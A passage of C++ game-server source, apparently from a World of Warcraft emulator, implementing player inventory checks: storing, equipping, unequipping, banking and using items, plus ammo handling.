res = _CanStoreItem_InInventorySlots(INVENTORY_SLOT_ITEM_START,INVENTORY_SLOT_ITEM_END,dest,pProto,count,false,pItem,bag,slot);
if (res != EQUIP_ERR_OK)
{
if (no_space_count)
*no_space_count = count + no_similar_count;
return res;
}
if (count == 0)
{
if (no_similar_count==0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
{
res = _CanStoreItem_InBag(i,dest,pProto,count,false,true,pItem,bag,slot);
if (res != EQUIP_ERR_OK)
continue;
if (count == 0)
{
if (no_similar_count == 0)
return EQUIP_ERR_OK;
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_CANT_CARRY_MORE_OF_THIS;
}
}
if (no_space_count)
*no_space_count = count + no_similar_count;
return EQUIP_ERR_INVENTORY_FULL;
}
//////////////////////////////////////////////////////////////////////////
InventoryResult Player::CanStoreItems( Item **pItems,int count) const
{
Item *pItem2;
// fill space table
int inv_slot_items[INVENTORY_SLOT_ITEM_END-INVENTORY_SLOT_ITEM_START];
int inv_bags[INVENTORY_SLOT_BAG_END-INVENTORY_SLOT_BAG_START][MAX_BAG_SIZE];
int inv_keys[KEYRING_SLOT_END-KEYRING_SLOT_START];
int inv_tokens[CURRENCYTOKEN_SLOT_END-CURRENCYTOKEN_SLOT_START];
memset(inv_slot_items,0,sizeof(int)*(INVENTORY_SLOT_ITEM_END-INVENTORY_SLOT_ITEM_START));
memset(inv_bags,0,sizeof(int)*(INVENTORY_SLOT_BAG_END-INVENTORY_SLOT_BAG_START)*MAX_BAG_SIZE);
memset(inv_keys,0,sizeof(int)*(KEYRING_SLOT_END-KEYRING_SLOT_START));
memset(inv_tokens,0,sizeof(int)*(CURRENCYTOKEN_SLOT_END-CURRENCYTOKEN_SLOT_START));
for(int i = INVENTORY_SLOT_ITEM_START; i < INVENTORY_SLOT_ITEM_END; ++i)
{
pItem2 = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if (pItem2 && !pItem2->IsInTrade())
{
inv_slot_items[i-INVENTORY_SLOT_ITEM_START] = pItem2->GetCount();
}
}
for(int i = KEYRING_SLOT_START; i < KEYRING_SLOT_END; ++i)
{
pItem2 = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if (pItem2 && !pItem2->IsInTrade())
{
inv_keys[i-KEYRING_SLOT_START] = pItem2->GetCount();
}
}
for(int i = CURRENCYTOKEN_SLOT_START; i < CURRENCYTOKEN_SLOT_END; ++i)
{
pItem2 = GetItemByPos( INVENTORY_SLOT_BAG_0, i );
if (pItem2 && !pItem2->IsInTrade())
{
inv_tokens[i-CURRENCYTOKEN_SLOT_START] = pItem2->GetCount();
}
}
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
{
if (Bag* pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
{
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
{
pItem2 = GetItemByPos( i, j );
if (pItem2 && !pItem2->IsInTrade())
{
inv_bags[i-INVENTORY_SLOT_BAG_START][j] = pItem2->GetCount();
}
}
}
}
// check free space for all items
for (int k = 0; k < count; ++k)
{
Item *pItem = pItems[k];
// no item
if (!pItem) continue;
DEBUG_LOG( "STORAGE: CanStoreItems %i. item = %u, count = %u", k+1, pItem->GetEntry(), pItem->GetCount());
ItemPrototype const *pProto = pItem->GetProto();
// strange item
if (!pProto)
return EQUIP_ERR_ITEM_NOT_FOUND;
// item used
if (pItem->HasTemporaryLoot())
return EQUIP_ERR_ALREADY_LOOTED;
// item it 'bind'
if (pItem->IsBindedNotWith(this))
return EQUIP_ERR_DONT_OWN_THAT_ITEM;
Bag *pBag;
ItemPrototype const *pBagProto;
// item is 'one item only'
InventoryResult res = CanTakeMoreSimilarItems(pItem);
if (res != EQUIP_ERR_OK)
return res;
// search stack for merge to
if (pProto->Stackable != 1)
{
bool b_found = false;
for(int t = KEYRING_SLOT_START; t < KEYRING_SLOT_END; ++t)
{
pItem2 = GetItemByPos( INVENTORY_SLOT_BAG_0, t );
if (pItem2 && pItem2->CanBeMergedPartlyWith(pProto) == EQUIP_ERR_OK && inv_keys[t-KEYRING_SLOT_START] + pItem->GetCount() <= pProto->GetMaxStackSize())
{
inv_keys[t-KEYRING_SLOT_START] += pItem->GetCount();
b_found = true;
break;
}
}
if (b_found) continue;
for(int t = CURRENCYTOKEN_SLOT_START; t < CURRENCYTOKEN_SLOT_END; ++t)
{
pItem2 = GetItemByPos( INVENTORY_SLOT_BAG_0, t );
if (pItem2 && pItem2->CanBeMergedPartlyWith(pProto) == EQUIP_ERR_OK && inv_tokens[t-CURRENCYTOKEN_SLOT_START] + pItem->GetCount() <= pProto->GetMaxStackSize())
{
inv_tokens[t-CURRENCYTOKEN_SLOT_START] += pItem->GetCount();
b_found = true;
break;
}
}
if (b_found) continue;
for(int t = INVENTORY_SLOT_ITEM_START; t < INVENTORY_SLOT_ITEM_END; ++t)
{
pItem2 = GetItemByPos( INVENTORY_SLOT_BAG_0, t );
if (pItem2 && pItem2->CanBeMergedPartlyWith(pProto) == EQUIP_ERR_OK && inv_slot_items[t-INVENTORY_SLOT_ITEM_START] + pItem->GetCount() <= pProto->GetMaxStackSize())
{
inv_slot_items[t-INVENTORY_SLOT_ITEM_START] += pItem->GetCount();
b_found = true;
break;
}
}
if (b_found) continue;
for(int t = INVENTORY_SLOT_BAG_START; !b_found && t < INVENTORY_SLOT_BAG_END; ++t)
{
pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, t );
if (pBag)
{
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
{
pItem2 = GetItemByPos( t, j );
if (pItem2 && pItem2->CanBeMergedPartlyWith(pProto) == EQUIP_ERR_OK && inv_bags[t-INVENTORY_SLOT_BAG_START][j] + pItem->GetCount() <= pProto->GetMaxStackSize())
{
inv_bags[t-INVENTORY_SLOT_BAG_START][j] += pItem->GetCount();
b_found = true;
break;
}
}
}
}
if (b_found) continue;
}
// special bag case
if (pProto->BagFamily)
{
bool b_found = false;
if (pProto->BagFamily & BAG_FAMILY_MASK_KEYS)
{
uint32 keyringSize = GetMaxKeyringSize();
for(uint32 t = KEYRING_SLOT_START; t < KEYRING_SLOT_START+keyringSize; ++t)
{
if (inv_keys[t-KEYRING_SLOT_START] == 0)
{
inv_keys[t-KEYRING_SLOT_START] = 1;
b_found = true;
break;
}
}
}
if (b_found) continue;
if (pProto->BagFamily & BAG_FAMILY_MASK_CURRENCY_TOKENS)
{
for(uint32 t = CURRENCYTOKEN_SLOT_START; t < CURRENCYTOKEN_SLOT_END; ++t)
{
if (inv_tokens[t-CURRENCYTOKEN_SLOT_START] == 0)
{
inv_tokens[t-CURRENCYTOKEN_SLOT_START] = 1;
b_found = true;
break;
}
}
}
if (b_found) continue;
for(int t = INVENTORY_SLOT_BAG_START; !b_found && t < INVENTORY_SLOT_BAG_END; ++t)
{
pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, t );
if (pBag)
{
pBagProto = pBag->GetProto();
// not plain container check
if (pBagProto && (pBagProto->Class != ITEM_CLASS_CONTAINER || pBagProto->SubClass != ITEM_SUBCLASS_CONTAINER) &&
ItemCanGoIntoBag(pProto,pBagProto) )
{
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
{
if (inv_bags[t-INVENTORY_SLOT_BAG_START][j] == 0)
{
inv_bags[t-INVENTORY_SLOT_BAG_START][j] = 1;
b_found = true;
break;
}
}
}
}
}
if (b_found) continue;
}
// search free slot
bool b_found = false;
for(int t = INVENTORY_SLOT_ITEM_START; t < INVENTORY_SLOT_ITEM_END; ++t)
{
if (inv_slot_items[t-INVENTORY_SLOT_ITEM_START] == 0)
{
inv_slot_items[t-INVENTORY_SLOT_ITEM_START] = 1;
b_found = true;
break;
}
}
if (b_found) continue;
// search free slot in bags
for(int t = INVENTORY_SLOT_BAG_START; !b_found && t < INVENTORY_SLOT_BAG_END; ++t)
{
pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, t );
if (pBag)
{
pBagProto = pBag->GetProto();
// special bag already checked
if (pBagProto && (pBagProto->Class != ITEM_CLASS_CONTAINER || pBagProto->SubClass != ITEM_SUBCLASS_CONTAINER))
continue;
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
{
if (inv_bags[t-INVENTORY_SLOT_BAG_START][j] == 0)
{
inv_bags[t-INVENTORY_SLOT_BAG_START][j] = 1;
b_found = true;
break;
}
}
}
}
// no free slot found?
if (!b_found)
return EQUIP_ERR_INVENTORY_FULL;
}
return EQUIP_ERR_OK;
}
//////////////////////////////////////////////////////////////////////////
InventoryResult Player::CanEquipNewItem( uint8 slot, uint16 &dest, uint32 item, bool swap ) const
{
dest = 0;
Item *pItem = Item::CreateItem( item, 1, this );
if (pItem)
{
InventoryResult result = CanEquipItem(slot, dest, pItem, swap );
delete pItem;
return result;
}
return EQUIP_ERR_ITEM_NOT_FOUND;
}
InventoryResult Player::CanEquipItem( uint8 slot, uint16 &dest, Item *pItem, bool swap, bool direct_action ) const
{
dest = 0;
if (pItem)
{
DEBUG_LOG( "STORAGE: CanEquipItem slot = %u, item = %u, count = %u", slot, pItem->GetEntry(), pItem->GetCount());
ItemPrototype const *pProto = pItem->GetProto();
if (pProto)
{
// item used
if (pItem->HasTemporaryLoot())
return EQUIP_ERR_ALREADY_LOOTED;
if (pItem->IsBindedNotWith(this))
return EQUIP_ERR_DONT_OWN_THAT_ITEM;
// check count of items (skip for auto move for same player from bank)
InventoryResult res = CanTakeMoreSimilarItems(pItem);
if (res != EQUIP_ERR_OK)
return res;
// check this only in game
if (direct_action)
{
// May be here should be more stronger checks; STUNNED checked
// ROOT, CONFUSED, DISTRACTED, FLEEING this needs to be checked.
if (hasUnitState(UNIT_STAT_STUNNED))
return EQUIP_ERR_YOU_ARE_STUNNED;
// do not allow equipping gear except weapons, offhands, projectiles, relics in
// - combat
// - in-progress arenas
if (!pProto->CanChangeEquipStateInCombat())
{
if (isInCombat())
return EQUIP_ERR_NOT_IN_COMBAT;
if (BattleGround* bg = GetBattleGround())
if (bg->isArena() && bg->GetStatus() == STATUS_IN_PROGRESS)
return EQUIP_ERR_NOT_DURING_ARENA_MATCH;
}
// prevent equip item in process logout
if (GetSession()->isLogingOut())
return EQUIP_ERR_YOU_ARE_STUNNED;
if (isInCombat()&& pProto->Class == ITEM_CLASS_WEAPON && m_weaponChangeTimer != 0)
return EQUIP_ERR_CANT_DO_RIGHT_NOW; // maybe exist better err
if (IsNonMeleeSpellCasted(false))
return EQUIP_ERR_CANT_DO_RIGHT_NOW;
}
ScalingStatDistributionEntry const *ssd = pProto->ScalingStatDistribution ? sScalingStatDistributionStore.LookupEntry(pProto->ScalingStatDistribution) : 0;
// check allowed level (extend range to upper values if MaxLevel more or equal max player level, this let GM set high level with 1...max range items)
if (ssd && ssd->MaxLevel < DEFAULT_MAX_LEVEL && ssd->MaxLevel < getLevel())
return EQUIP_ERR_ITEM_CANT_BE_EQUIPPED;
uint8 eslot = FindEquipSlot( pProto, slot, swap );
if (eslot == NULL_SLOT)
return EQUIP_ERR_ITEM_CANT_BE_EQUIPPED;
// jewelcrafting gem check
if (InventoryResult res2 = CanEquipMoreJewelcraftingGems(pItem->GetJewelcraftingGemCount(), swap ? eslot : NULL_SLOT))
return res2;
InventoryResult msg = CanUseItem(pItem , direct_action);
if (msg != EQUIP_ERR_OK)
return msg;
if (!swap && GetItemByPos(INVENTORY_SLOT_BAG_0, eslot))
return EQUIP_ERR_NO_EQUIPMENT_SLOT_AVAILABLE;
// if swap ignore item (equipped also)
if (InventoryResult res2 = CanEquipUniqueItem(pItem, swap ? eslot : NULL_SLOT))
return res2;
// check unique-equipped special item classes
if (pProto->Class == ITEM_CLASS_QUIVER)
{
for (int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
{
if (Item* pBag = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
{
if (pBag != pItem)
{
if (ItemPrototype const* pBagProto = pBag->GetProto())
{
if (pBagProto->Class==pProto->Class && (!swap || pBag->GetSlot() != eslot))
return (pBagProto->SubClass == ITEM_SUBCLASS_AMMO_POUCH)
? EQUIP_ERR_CAN_EQUIP_ONLY1_AMMOPOUCH
: EQUIP_ERR_CAN_EQUIP_ONLY1_QUIVER;
}
}
}
}
}
uint32 type = pProto->InventoryType;
if (eslot == EQUIPMENT_SLOT_OFFHAND)
{
if (type == INVTYPE_WEAPON || type == INVTYPE_WEAPONOFFHAND)
{
if (!CanDualWield())
return EQUIP_ERR_CANT_DUAL_WIELD;
}
else if (type == INVTYPE_2HWEAPON)
{
if (!CanDualWield() || !CanTitanGrip())
return EQUIP_ERR_CANT_DUAL_WIELD;
}
if (IsTwoHandUsed())
return EQUIP_ERR_CANT_EQUIP_WITH_TWOHANDED;
}
// equip two-hand weapon case (with possible unequip 2 items)
if (type == INVTYPE_2HWEAPON)
{
if (eslot == EQUIPMENT_SLOT_OFFHAND)
{
if (!CanTitanGrip())
return EQUIP_ERR_ITEM_CANT_BE_EQUIPPED;
}
else if (eslot != EQUIPMENT_SLOT_MAINHAND)
return EQUIP_ERR_ITEM_CANT_BE_EQUIPPED;
if (!CanTitanGrip())
{
// offhand item must can be stored in inventory for offhand item and it also must be unequipped
Item *offItem = GetItemByPos( INVENTORY_SLOT_BAG_0, EQUIPMENT_SLOT_OFFHAND );
ItemPosCountVec off_dest;
if (offItem && (!direct_action ||
CanUnequipItem(uint16(INVENTORY_SLOT_BAG_0) << 8 | EQUIPMENT_SLOT_OFFHAND,false) != EQUIP_ERR_OK ||
CanStoreItem( NULL_BAG, NULL_SLOT, off_dest, offItem, false ) != EQUIP_ERR_OK ))
return swap ? EQUIP_ERR_ITEMS_CANT_BE_SWAPPED : EQUIP_ERR_INVENTORY_FULL;
}
}
dest = ((INVENTORY_SLOT_BAG_0 << 8) | eslot);
return EQUIP_ERR_OK;
}
}
return !swap ? EQUIP_ERR_ITEM_NOT_FOUND : EQUIP_ERR_ITEMS_CANT_BE_SWAPPED;
}
InventoryResult Player::CanUnequipItem( uint16 pos, bool swap ) const
{
// Applied only to equipped items and bank bags
if (!IsEquipmentPos(pos) && !IsBagPos(pos))
return EQUIP_ERR_OK;
Item* pItem = GetItemByPos(pos);
// Applied only to existing equipped item
if (!pItem)
return EQUIP_ERR_OK;
DEBUG_LOG( "STORAGE: CanUnequipItem slot = %u, item = %u, count = %u", pos, pItem->GetEntry(), pItem->GetCount());
ItemPrototype const *pProto = pItem->GetProto();
if (!pProto)
return EQUIP_ERR_ITEM_NOT_FOUND;
// item used
if (pItem->HasTemporaryLoot())
return EQUIP_ERR_ALREADY_LOOTED;
// do not allow unequipping gear except weapons, offhands, projectiles, relics in
// - combat
// - in-progress arenas
if ( !pProto->CanChangeEquipStateInCombat() )
{
if ( isInCombat() )
return EQUIP_ERR_NOT_IN_COMBAT;
if (BattleGround* bg = GetBattleGround())
if ( bg->isArena() && bg->GetStatus() == STATUS_IN_PROGRESS )
return EQUIP_ERR_NOT_DURING_ARENA_MATCH;
}
// prevent unequip item in process logout
if (GetSession()->isLogingOut())
return EQUIP_ERR_YOU_ARE_STUNNED;
if(!swap && pItem->IsBag() && !((Bag*)pItem)->IsEmpty())
return EQUIP_ERR_CAN_ONLY_DO_WITH_EMPTY_BAGS;
return EQUIP_ERR_OK;
}
InventoryResult Player::CanBankItem( uint8 bag, uint8 slot, ItemPosCountVec &dest, Item *pItem, bool swap, bool not_loading ) const
{
if (!pItem)
return swap ? EQUIP_ERR_ITEMS_CANT_BE_SWAPPED : EQUIP_ERR_ITEM_NOT_FOUND;
uint32 count = pItem->GetCount();
DEBUG_LOG( "STORAGE: CanBankItem bag = %u, slot = %u, item = %u, count = %u", bag, slot, pItem->GetEntry(), pItem->GetCount());
ItemPrototype const *pProto = pItem->GetProto();
if (!pProto)
return swap ? EQUIP_ERR_ITEMS_CANT_BE_SWAPPED : EQUIP_ERR_ITEM_NOT_FOUND;
// item used
if (pItem->HasTemporaryLoot())
return EQUIP_ERR_ALREADY_LOOTED;
if (pItem->IsBindedNotWith(this))
return EQUIP_ERR_DONT_OWN_THAT_ITEM;
// check count of items (skip for auto move for same player from bank)
InventoryResult res = CanTakeMoreSimilarItems(pItem);
if (res != EQUIP_ERR_OK)
return res;
// in specific slot
if (bag != NULL_BAG && slot != NULL_SLOT)
{
if (slot >= BANK_SLOT_BAG_START && slot < BANK_SLOT_BAG_END)
{
if (!pItem->IsBag())
return EQUIP_ERR_ITEM_DOESNT_GO_TO_SLOT;
if (slot - BANK_SLOT_BAG_START >= GetBankBagSlotCount())
return EQUIP_ERR_MUST_PURCHASE_THAT_BAG_SLOT;
res = CanUseItem( pItem, not_loading );
if (res != EQUIP_ERR_OK)
return res;
}
res = _CanStoreItem_InSpecificSlot(bag,slot,dest,pProto,count,swap,pItem);
if (res!=EQUIP_ERR_OK)
return res;
if (count==0)
return EQUIP_ERR_OK;
}
// not specific slot or have space for partly store only in specific slot
// in specific bag
if ( bag != NULL_BAG )
{
if ( pProto->InventoryType == INVTYPE_BAG )
{
Bag *pBag = (Bag*)pItem;
if ( pBag && !pBag->IsEmpty() )
return EQUIP_ERR_NONEMPTY_BAG_OVER_OTHER_BAG;
}
// search stack in bag for merge to
if ( pProto->Stackable != 1 )
{
if ( bag == INVENTORY_SLOT_BAG_0 )
{
res = _CanStoreItem_InInventorySlots(BANK_SLOT_ITEM_START,BANK_SLOT_ITEM_END,dest,pProto,count,true,pItem,bag,slot);
if (res!=EQUIP_ERR_OK)
return res;
if (count==0)
return EQUIP_ERR_OK;
}
else
{
res = _CanStoreItem_InBag(bag,dest,pProto,count,true,false,pItem,NULL_BAG,slot);
if (res!=EQUIP_ERR_OK)
res = _CanStoreItem_InBag(bag,dest,pProto,count,true,true,pItem,NULL_BAG,slot);
if (res!=EQUIP_ERR_OK)
return res;
if (count==0)
return EQUIP_ERR_OK;
}
}
// search free slot in bag
if ( bag == INVENTORY_SLOT_BAG_0 )
{
res = _CanStoreItem_InInventorySlots(BANK_SLOT_ITEM_START,BANK_SLOT_ITEM_END,dest,pProto,count,false,pItem,bag,slot);
if (res!=EQUIP_ERR_OK)
return res;
if (count==0)
return EQUIP_ERR_OK;
}
else
{
res = _CanStoreItem_InBag(bag, dest, pProto, count, false, false, pItem, NULL_BAG, slot);
if (res != EQUIP_ERR_OK)
res = _CanStoreItem_InBag(bag, dest, pProto, count, false, true, pItem, NULL_BAG, slot);
if (res != EQUIP_ERR_OK)
return res;
if (count == 0)
return EQUIP_ERR_OK;
}
}
// not specific bag or have space for partly store only in specific bag
// search stack for merge to
if ( pProto->Stackable != 1 )
{
// in slots
res = _CanStoreItem_InInventorySlots(BANK_SLOT_ITEM_START,BANK_SLOT_ITEM_END,dest,pProto,count,true,pItem,bag,slot);
if (res != EQUIP_ERR_OK)
return res;
if (count == 0)
return EQUIP_ERR_OK;
// in special bags
if ( pProto->BagFamily )
{
for(int i = BANK_SLOT_BAG_START; i < BANK_SLOT_BAG_END; ++i)
{
res = _CanStoreItem_InBag(i,dest,pProto,count,true,false,pItem,bag,slot);
if (res!=EQUIP_ERR_OK)
continue;
if (count==0)
return EQUIP_ERR_OK;
}
}
for(int i = BANK_SLOT_BAG_START; i < BANK_SLOT_BAG_END; ++i)
{
res = _CanStoreItem_InBag(i,dest,pProto,count,true,true,pItem,bag,slot);
if (res!=EQUIP_ERR_OK)
continue;
if (count==0)
return EQUIP_ERR_OK;
}
}
// search free place in special bag
if ( pProto->BagFamily )
{
for(int i = BANK_SLOT_BAG_START; i < BANK_SLOT_BAG_END; ++i)
{
res = _CanStoreItem_InBag(i,dest,pProto,count,false,false,pItem,bag,slot);
if (res!=EQUIP_ERR_OK)
continue;
if (count==0)
return EQUIP_ERR_OK;
}
}
// search free space
res = _CanStoreItem_InInventorySlots(BANK_SLOT_ITEM_START,BANK_SLOT_ITEM_END,dest,pProto,count,false,pItem,bag,slot);
if (res!=EQUIP_ERR_OK)
return res;
if (count==0)
return EQUIP_ERR_OK;
for(int i = BANK_SLOT_BAG_START; i < BANK_SLOT_BAG_END; ++i)
{
res = _CanStoreItem_InBag(i,dest,pProto,count,false,true,pItem,bag,slot);
if (res!=EQUIP_ERR_OK)
continue;
if (count==0)
return EQUIP_ERR_OK;
}
return EQUIP_ERR_BANK_FULL;
}
InventoryResult Player::CanUseItem(Item *pItem, bool direct_action) const
{
if (pItem)
{
DEBUG_LOG( "STORAGE: CanUseItem item = %u", pItem->GetEntry());
if (!isAlive() && direct_action)
return EQUIP_ERR_YOU_ARE_DEAD;
//if (isStunned())
// return EQUIP_ERR_YOU_ARE_STUNNED;
ItemPrototype const *pProto = pItem->GetProto();
if (pProto)
{
if (pItem->IsBindedNotWith(this))
return EQUIP_ERR_DONT_OWN_THAT_ITEM;
InventoryResult msg = CanUseItem(pProto);
if (msg != EQUIP_ERR_OK)
return msg;
if (uint32 item_use_skill = pItem->GetSkill())
{
if (GetSkillValue(item_use_skill) == 0)
{
// armor items with scaling stats can downgrade armor skill reqs if related class can learn armor use at some level
if (pProto->Class != ITEM_CLASS_ARMOR)
return EQUIP_ERR_NO_REQUIRED_PROFICIENCY;
ScalingStatDistributionEntry const *ssd = pProto->ScalingStatDistribution ? sScalingStatDistributionStore.LookupEntry(pProto->ScalingStatDistribution) : NULL;
if (!ssd)
return EQUIP_ERR_NO_REQUIRED_PROFICIENCY;
bool allowScaleSkill = false;
for (uint32 i = 0; i < sSkillLineAbilityStore.GetNumRows(); ++i)
{
SkillLineAbilityEntry const *skillInfo = sSkillLineAbilityStore.LookupEntry(i);
if (!skillInfo)
continue;
if (skillInfo->skillId != item_use_skill)
continue;
// can't learn
if (skillInfo->classmask && (skillInfo->classmask & getClassMask()) == 0)
continue;
if (skillInfo->racemask && (skillInfo->racemask & getRaceMask()) == 0)
continue;
allowScaleSkill = true;
break;
}
if (!allowScaleSkill)
return EQUIP_ERR_NO_REQUIRED_PROFICIENCY;
}
}
if (pProto->RequiredReputationFaction && uint32(GetReputationRank(pProto->RequiredReputationFaction)) < pProto->RequiredReputationRank)
return EQUIP_ERR_CANT_EQUIP_REPUTATION;
return EQUIP_ERR_OK;
}
}
return EQUIP_ERR_ITEM_NOT_FOUND;
}
InventoryResult Player::CanUseItem( ItemPrototype const *pProto ) const
{
// Used by group, function NeedBeforeGreed, to know if a prototype can be used by a player
if ( pProto )
{
if(!sWorld.getConfig(CONFIG_BOOL_ALLOW_TWO_SIDE_INTERACTION_GROUP))
{
if ((pProto->Flags2 & ITEM_FLAG2_HORDE_ONLY) && GetTeam() != HORDE)
return EQUIP_ERR_YOU_CAN_NEVER_USE_THAT_ITEM;
if ((pProto->Flags2 & ITEM_FLAG2_ALLIANCE_ONLY) && GetTeam() != ALLIANCE)
return EQUIP_ERR_YOU_CAN_NEVER_USE_THAT_ITEM;
}
if ((pProto->AllowableClass & getClassMask()) == 0 || (pProto->AllowableRace & getRaceMask()) == 0)
return EQUIP_ERR_YOU_CAN_NEVER_USE_THAT_ITEM;
if ( pProto->RequiredSkill != 0 )
{
if ( GetSkillValue( pProto->RequiredSkill ) == 0 )
return EQUIP_ERR_NO_REQUIRED_PROFICIENCY;
else if ( GetSkillValue( pProto->RequiredSkill ) < pProto->RequiredSkillRank )
return EQUIP_ERR_CANT_EQUIP_SKILL;
}
if ( pProto->RequiredSpell != 0 && !HasSpell( pProto->RequiredSpell ) )
return EQUIP_ERR_NO_REQUIRED_PROFICIENCY;
if ( getLevel() < pProto->RequiredLevel )
return EQUIP_ERR_CANT_EQUIP_LEVEL_I;
return EQUIP_ERR_OK;
}
return EQUIP_ERR_ITEM_NOT_FOUND;
}
InventoryResult Player::CanUseAmmo( uint32 item ) const
{
DEBUG_LOG( "STORAGE: CanUseAmmo item = %u", item);
if ( !isAlive() )
return EQUIP_ERR_YOU_ARE_DEAD;
//if ( isStunned() )
// return EQUIP_ERR_YOU_ARE_STUNNED;
ItemPrototype const *pProto = ObjectMgr::GetItemPrototype( item );
if ( pProto )
{
if ( pProto->InventoryType!= INVTYPE_AMMO )
return EQUIP_ERR_ONLY_AMMO_CAN_GO_HERE;
InventoryResult msg = CanUseItem(pProto);
if (msg != EQUIP_ERR_OK)
return msg;
/*if ( GetReputationMgr().GetReputation() < pProto->RequiredReputation )
return EQUIP_ERR_CANT_EQUIP_REPUTATION;
*/
// Requires No Ammo
if (GetDummyAura(46699))
return EQUIP_ERR_BAG_FULL6;
return EQUIP_ERR_OK;
}
return EQUIP_ERR_ITEM_NOT_FOUND;
}
void Player::SetAmmo( uint32 item )
{
if(!item)
return;
// already set
if ( GetUInt32Value(PLAYER_AMMO_ID) == item )
return;
// check ammo
if (item)
{
InventoryResult msg = CanUseAmmo( item );
if (msg != EQUIP_ERR_OK)
{
SendEquipError(msg, NULL, NULL, item);
return;
}
}
SetUInt32Value(PLAYER_AMMO_ID, item);
_ApplyAmmoBonuses();
}
void Player::RemoveAmmo()
{
SetUInt32Value(PLAYER_AMMO_ID, 0);
m_ammoDPS = 0.0f;
if (CanModifyStats())
UpdateDamagePhysical(RANGED_ATTACK);
}
// Return stored item (if stored to stack, it can diff. from pItem). And pItem ca be deleted in this case.
Item* Player::StoreNewItem(ItemPosCountVec const& dest, uint32 item, bool update,int32 randomPropertyId , AllowedLooterSet* allowedLooters)
{
uint32 count = 0;
for(ItemPosCountVec::const_iterator itr = dest.begin(); itr != dest.end(); ++itr)
count += itr->count;
Item *pItem = Item::CreateItem(item, count, this, randomPropertyId);
if (pItem)
{
ResetCachedGearScore();
ItemAddedQuestCheck( item, count );
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_RECEIVE_EPIC_ITEM, item, count);
pItem = StoreItem( dest, pItem, update );
if (allowedLooters && pItem->GetProto()->GetMaxStackSize() == 1 && pItem->IsSoulBound())
{
pItem->SetSoulboundTradeable(allowedLooters, this, true);
pItem->SetUInt32Value(ITEM_FIELD_CREATE_PLAYED_TIME, GetTotalPlayedTime());
m_itemSoulboundTradeable.push_back(pItem);
// save data
std::ostringstream ss;
ss << "REPLACE INTO `item_soulbound_trade_data` VALUES (";
ss << pItem->GetGUIDLow();
ss << ", '";
for (AllowedLooterSet::iterator itr = allowedLooters->begin(); itr != allowedLooters->end(); ++itr)
ss << *itr << " ";
ss << "');";
CharacterDatabase.Execute(ss.str().c_str());
}
}
return pItem;
}
Item* Player::StoreItem( ItemPosCountVec const& dest, Item* pItem, bool update )
{
if ( !pItem )
return NULL;
Item* lastItem = pItem;
uint32 entry = pItem->GetEntry();
for(ItemPosCountVec::const_iterator itr = dest.begin(); itr != dest.end(); )
{
uint16 pos = itr->pos;
uint32 count = itr->count;
++itr;
if (itr == dest.end())
{
lastItem = _StoreItem(pos,pItem,count,false,update);
break;
}
lastItem = _StoreItem(pos,pItem,count,true,update);
}
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_OWN_ITEM, entry);
return lastItem;
}
// Return stored item (if stored to stack, it can diff. from pItem). And pItem ca be deleted in this case.
Item* Player::_StoreItem( uint16 pos, Item *pItem, uint32 count, bool clone, bool update )
{
if ( !pItem )
return NULL;
uint8 bag = pos >> 8;
uint8 slot = pos & 255;
DEBUG_LOG( "STORAGE: StoreItem bag = %u, slot = %u, item = %u, count = %u", bag, slot, pItem->GetEntry(), count);
Item *pItem2 = GetItemByPos( bag, slot );
if (!pItem2)
{
if (clone)
pItem = pItem->CloneItem(count, this);
else
pItem->SetCount(count);
if (!pItem)
return NULL;
if (pItem->GetProto()->Bonding == BIND_WHEN_PICKED_UP ||
pItem->GetProto()->Bonding == BIND_QUEST_ITEM ||
(pItem->GetProto()->Bonding == BIND_WHEN_EQUIPPED && IsBagPos(pos)))
pItem->SetBinding( true );
if (bag == INVENTORY_SLOT_BAG_0)
{
m_items[slot] = pItem;
SetGuidValue(PLAYER_FIELD_INV_SLOT_HEAD + (slot * 2), pItem->GetObjectGuid());
pItem->SetGuidValue(ITEM_FIELD_CONTAINED, GetObjectGuid());
pItem->SetGuidValue(ITEM_FIELD_OWNER, GetObjectGuid());
pItem->SetSlot( slot );
pItem->SetContainer( NULL );
// need update known currency
if (slot >= CURRENCYTOKEN_SLOT_START && slot < CURRENCYTOKEN_SLOT_END)
UpdateKnownCurrencies(pItem->GetEntry(), true);
if (IsInWorld() && update)
{
pItem->AddToWorld();
pItem->SendCreateUpdateToPlayer( this );
}
pItem->SetState(ITEM_CHANGED, this);
}
else if (Bag *pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, bag ))
{
pBag->StoreItem( slot, pItem, update );
if ( IsInWorld() && update )
{
pItem->AddToWorld();
pItem->SendCreateUpdateToPlayer( this );
}
pItem->SetState(ITEM_CHANGED, this);
pBag->SetState(ITEM_CHANGED, this);
}
AddEnchantmentDurations(pItem);
AddItemDurations(pItem);
// at place into not appropriate slot (bank, for example) remove aura
ApplyItemOnStoreSpell(pItem, IsEquipmentPos(pItem->GetBagSlot(), pItem->GetSlot()) || IsInventoryPos(pItem->GetBagSlot(), pItem->GetSlot()));
return pItem;
}
else
{
if (pItem2->GetProto()->Bonding == BIND_WHEN_PICKED_UP ||
pItem2->GetProto()->Bonding == BIND_QUEST_ITEM ||
(pItem2->GetProto()->Bonding == BIND_WHEN_EQUIPPED && IsBagPos(pos)))
pItem2->SetBinding(true);
pItem2->SetCount( pItem2->GetCount() + count );
if (IsInWorld() && update)
pItem2->SendCreateUpdateToPlayer( this );
